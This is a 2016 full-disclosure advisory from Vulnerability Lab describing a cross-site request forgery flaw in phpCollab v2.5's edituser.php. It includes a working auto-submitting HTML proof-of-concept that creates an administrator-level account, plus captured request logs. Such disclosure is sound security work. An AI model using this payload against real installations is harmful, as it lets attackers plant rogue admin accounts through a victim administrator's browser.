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Date: Mon, 22 Aug 2016 15:00:19 +0200 From: Vulnerability Lab <research@...nerability-lab.com> To: fulldisclosure@...lists.org Subject: [FD] phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability Document Title: =============== phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1911 Release Date: ============= 2016-08-17 Vulnerability Laboratory ID (VL-ID): ==================================== 1911 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet. Those organizations, such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab. Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the phpCollab v2.5 content management system. Vulnerability Disclosure Timeline: ================================== 2016-08-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A cross site request forgery vulnerability has been discovered in the official phpCollab v2.5 content management system. In the absence of security token an attacker could execute arbitrary code in the administrator's browser to have a privileged access. The vulnerability is located in the edituser.php file in the ./users/ path. Request Method(s): [+] POST Vulnerable Module(s): [+] ./phpcollab/users/ Vulnerable File(s): [+] edituser.php Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction. To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided. PoC: CSRF Exploitation <html> <form accept-charset="UNKNOWN" method="POST" action="http://phpcollab.localhost:8080/phpcollab/users/edituser.php?id=&action=add&PHPSESSID=coflo6ves1ac5e177kf26mg7l7" name="ecDForm"/> <input type='hidden' name="un" value="VulnLabs"> <input type='hidden' name='fn' value="ZwX" /> <input type='hidden' name='em' value="test@...e.fr"/> <input type='hidden' name='pw' value="123123" /> <input type='hidden' name='pwa' value="123123" /> <input type='radio' name='perm' value='1' /> <input type='radio' name='perm' value='2' /> <input type='radio' name='perm' value='3' /> <input type='radio' name='perm' value='4' /> <input type='radio' name='perm' value='5' checked /> <tr class='odd'><td valign='top' class='leftvalue'> </td><td><input type='SUBMIT' value='Sauvegarder' /> </td></tr> <script>document.forms[0].submit()</script> </form> </html> POST Method [+] un=VulnLabs&fn=ZwX&em=test%40live.fr&pw=123123&pwa=123123&perm=5 --- PoC Session Logs --- Status: 200 [OK] Host: phpcollab.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: __gads=ID=07968e6b89cfb5e9:T=1471277130:S=ALNI_Mb360EnbieGeQ6j0qksVtqioxOo6g; __utma=87180614.471852358.1471277221.1471289573.1471311800.4; __utmc=87180614; __utmz=87180614.1471311800.4.4.utmcsr=demo.opensourcecms.com|utmccn=(referral)|utmcmd=referral|utmcct=/phpcollab/general/login.php; PHPSESSID=eo2nfc7bqe68eugsgd7h0ehfh4; _pk_id.2.bb5e=83e7be2d899ec7fc.1471277247.4.1471313737.1471311796.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1471311796%2C%22http%3A%2F%2Fwww.opensourcecms.com%2Fdemo%2F2%2F336%2FphpCollab%22%5D; wbTh=e; xwbR=e; _pk_ses.2.bb5e=*; __utmb=87180614.40.10.1471311800; __utmt=1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 62 Security Risk: ============== The security risk of the remote cross site request forgery vulnerability in the phpcollab application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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